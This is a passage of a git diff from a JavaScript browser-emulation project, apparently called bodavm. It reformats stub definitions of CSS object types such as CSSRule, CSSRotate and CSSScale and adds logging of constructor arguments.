+ +bodavm.memory.globalobj['CSSPositionValue'] = function CSSPositionValue() { + console.log_copy('CSSPositionValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSPositionValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSPositionValue': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPositionValue'], "CSSPositionValue"); +bodavm.memory.globalobj['CSSPositionValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSPositionValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSPositionValue', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPositionValue', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "y_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSPropertyRule.js b/env_xbb_lastest_jsdom/env/CSSPropertyRule.js index 2bf8da99..882a95ee 100644 --- a/env_xbb_lastest_jsdom/env/CSSPropertyRule.js +++ b/env_xbb_lastest_jsdom/env/CSSPropertyRule.js @@ -1,9 +1,51 @@ -// CSSPropertyRule对象 -bodavm.memory.globalobj['CSSPropertyRule'] = function CSSPropertyRule(){if (!(this instanceof CSSPropertyRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPropertyRule'], "CSSPropertyRule"); -bodavm.memory.globalobj['CSSPropertyRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSPropertyRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSPropertyRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPropertyRule', "syntax", {configurable:true, enumerable:true, get:function syntax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "syntax_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPropertyRule', "inherits", {configurable:true, enumerable:true, get:function inherits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "inherits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPropertyRule', "initialValue", {configurable:true, enumerable:true, get:function initialValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "initialValue_get", arguments)}, set:undefined},'prototype'); +// CSSPropertyRule对象 + +bodavm.memory.globalobj['CSSPropertyRule'] = function CSSPropertyRule() { + console.log_copy('CSSPropertyRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSPropertyRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPropertyRule'], "CSSPropertyRule"); +bodavm.memory.globalobj['CSSPropertyRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSPropertyRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSPropertyRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPropertyRule', "syntax", { + configurable: true, + enumerable: true, + get: function syntax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "syntax_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPropertyRule', "inherits", { + configurable: true, + enumerable: true, + get: function inherits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "inherits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPropertyRule', "initialValue", { + configurable: true, + enumerable: true, + get: function initialValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "initialValue_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSRotate.js b/env_xbb_lastest_jsdom/env/CSSRotate.js index ec773c81..0244d4c7 100644 --- a/env_xbb_lastest_jsdom/env/CSSRotate.js +++ b/env_xbb_lastest_jsdom/env/CSSRotate.js @@ -1,9 +1,59 @@ -// CSSRotate对象 -bodavm.memory.globalobj['CSSRotate'] = function CSSRotate(){if (!(this instanceof CSSRotate)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSRotate': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRotate'], "CSSRotate"); -bodavm.memory.globalobj['CSSRotate'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSRotate'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSRotate', "angle", {configurable:true, enumerable:true, get:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "angle_get", arguments)}, set:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "angle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRotate', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRotate', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRotate', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "z_get", arguments)}, set:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "z_set", arguments)}},'prototype'); +// CSSRotate对象 + +bodavm.memory.globalobj['CSSRotate'] = function CSSRotate() { + console.log_copy('CSSRotate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSRotate)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSRotate': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRotate'], "CSSRotate"); +bodavm.memory.globalobj['CSSRotate'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSRotate'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSRotate', "angle", { + configurable: true, + enumerable: true, + get: function angle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "angle_get", arguments); + }, + set: function angle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "angle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRotate', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRotate', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRotate', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "z_get", arguments); + }, + set: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "z_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSRule.js b/env_xbb_lastest_jsdom/env/CSSRule.js index 1ecbc252..1f5e0a5b 100644 --- a/env_xbb_lastest_jsdom/env/CSSRule.js +++ b/env_xbb_lastest_jsdom/env/CSSRule.js @@ -1,31 +1,195 @@ -// CSSRule对象 -bodavm.memory.globalobj['CSSRule'] = function CSSRule(){if (!(this instanceof CSSRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRule'], "CSSRule"); -bodavm.toolsFunc.defineProperty('CSSRule', "STYLE_RULE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('CSSRule', "CHARSET_RULE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('CSSRule', "IMPORT_RULE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('CSSRule', "MEDIA_RULE", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FACE_RULE", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('CSSRule', "PAGE_RULE", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('CSSRule', "NAMESPACE_RULE", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAMES_RULE", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAME_RULE", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('CSSRule', "COUNTER_STYLE_RULE", {configurable:false, enumerable:true, writable:false, value:11}); -bodavm.toolsFunc.defineProperty('CSSRule', "SUPPORTS_RULE", {configurable:false, enumerable:true, writable:false, value:12}); -bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FEATURE_VALUES_RULE", {configurable:false, enumerable:true, writable:false, value:14}); -bodavm.toolsFunc.defineProperty('CSSRule', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "cssText", {configurable:true, enumerable:true, get:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "cssText_get", arguments)}, set:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "cssText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "parentRule", {configurable:true, enumerable:true, get:function parentRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "parentRule_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "parentStyleSheet", {configurable:true, enumerable:true, get:function parentStyleSheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "parentStyleSheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "STYLE_RULE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "CHARSET_RULE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "IMPORT_RULE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "MEDIA_RULE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FACE_RULE", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "PAGE_RULE", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "NAMESPACE_RULE", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAMES_RULE", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAME_RULE", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "COUNTER_STYLE_RULE", {configurable:false, enumerable:true, writable:false, value:11},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "SUPPORTS_RULE", {configurable:false, enumerable:true, writable:false, value:12},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FEATURE_VALUES_RULE", {configurable:false, enumerable:true, writable:false, value:14},'prototype'); +// CSSRule对象 + +bodavm.memory.globalobj['CSSRule'] = function CSSRule() { + console.log_copy('CSSRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRule'], "CSSRule"); +bodavm.toolsFunc.defineProperty('CSSRule', "STYLE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "CHARSET_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "IMPORT_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "MEDIA_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FACE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "PAGE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "NAMESPACE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAMES_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAME_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "COUNTER_STYLE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "SUPPORTS_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FEATURE_VALUES_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "cssText", { + configurable: true, + enumerable: true, + get: function cssText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "cssText_get", arguments); + }, + set: function cssText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "cssText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "parentRule", { + configurable: true, + enumerable: true, + get: function parentRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "parentRule_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "parentStyleSheet", { + configurable: true, + enumerable: true, + get: function parentStyleSheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "parentStyleSheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "STYLE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "CHARSET_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "IMPORT_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "MEDIA_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FACE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "PAGE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "NAMESPACE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAMES_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAME_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "COUNTER_STYLE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "SUPPORTS_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FEATURE_VALUES_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSRuleList.js b/env_xbb_lastest_jsdom/env/CSSRuleList.js index 81946569..0382cb8f 100644 --- a/env_xbb_lastest_jsdom/env/CSSRuleList.js +++ b/env_xbb_lastest_jsdom/env/CSSRuleList.js @@ -1,5 +1,33 @@ -// CSSRuleList对象 -bodavm.memory.globalobj['CSSRuleList'] = function CSSRuleList(){if (!(this instanceof CSSRuleList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRuleList'], "CSSRuleList"); -bodavm.toolsFunc.defineProperty('CSSRuleList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRuleList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "item", arguments)}},'prototype'); +// CSSRuleList对象 + +bodavm.memory.globalobj['CSSRuleList'] = function CSSRuleList() { + console.log_copy('CSSRuleList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSRuleList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRuleList'], "CSSRuleList"); +bodavm.toolsFunc.defineProperty('CSSRuleList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRuleList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "item", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSScale.js b/env_xbb_lastest_jsdom/env/CSSScale.js index 1f42232d..5753ec17 100644 --- a/env_xbb_lastest_jsdom/env/CSSScale.js +++ b/env_xbb_lastest_jsdom/env/CSSScale.js @@ -1,8 +1,49 @@ -// CSSScale对象 -bodavm.memory.globalobj['CSSScale'] = function CSSScale(){if (!(this instanceof CSSScale)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSScale': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSScale'], "CSSScale"); -bodavm.memory.globalobj['CSSScale'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSScale'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSScale', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSScale', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSScale', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "z_get", arguments)}, set:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "z_set", arguments)}},'prototype'); +// CSSScale对象 + +bodavm.memory.globalobj['CSSScale'] = function CSSScale() { + console.log_copy('CSSScale 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSScale)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSScale': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSScale'], "CSSScale"); +bodavm.memory.globalobj['CSSScale'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSScale'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSScale', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSScale', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSScale', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "z_get", arguments); + }, + set: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "z_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSSkew.js b/env_xbb_lastest_jsdom/env/CSSSkew.js index af9fc3e8..07e67883 100644 --- a/env_xbb_lastest_jsdom/env/CSSSkew.js +++ b/env_xbb_lastest_jsdom/env/CSSSkew.js @@ -1,7 +1,39 @@ -// CSSSkew对象 -bodavm.memory.globalobj['CSSSkew'] = function CSSSkew(){if (!(this instanceof CSSSkew)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkew': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkew'], "CSSSkew"); -bodavm.memory.globalobj['CSSSkew'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSSkew'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSSkew', "ax", {configurable:true, enumerable:true, get:function ax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ax_get", arguments)}, set:function ax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ax_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSSkew', "ay", {configurable:true, enumerable:true, get:function ay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ay_get", arguments)}, set:function ay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ay_set", arguments)}},'prototype'); +// CSSSkew对象 + +bodavm.memory.globalobj['CSSSkew'] = function CSSSkew() { + console.log_copy('CSSSkew 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSSkew)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkew': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkew'], "CSSSkew"); +bodavm.memory.globalobj['CSSSkew'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSSkew'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSSkew', "ax", { + configurable: true, + enumerable: true, + get: function ax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ax_get", arguments); + }, + set: function ax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ax_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSSkew', "ay", { + configurable: true, + enumerable: true, + get: function ay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ay_get", arguments); + }, + set: function ay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ay_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSSkewX.js b/env_xbb_lastest_jsdom/env/CSSSkewX.js index 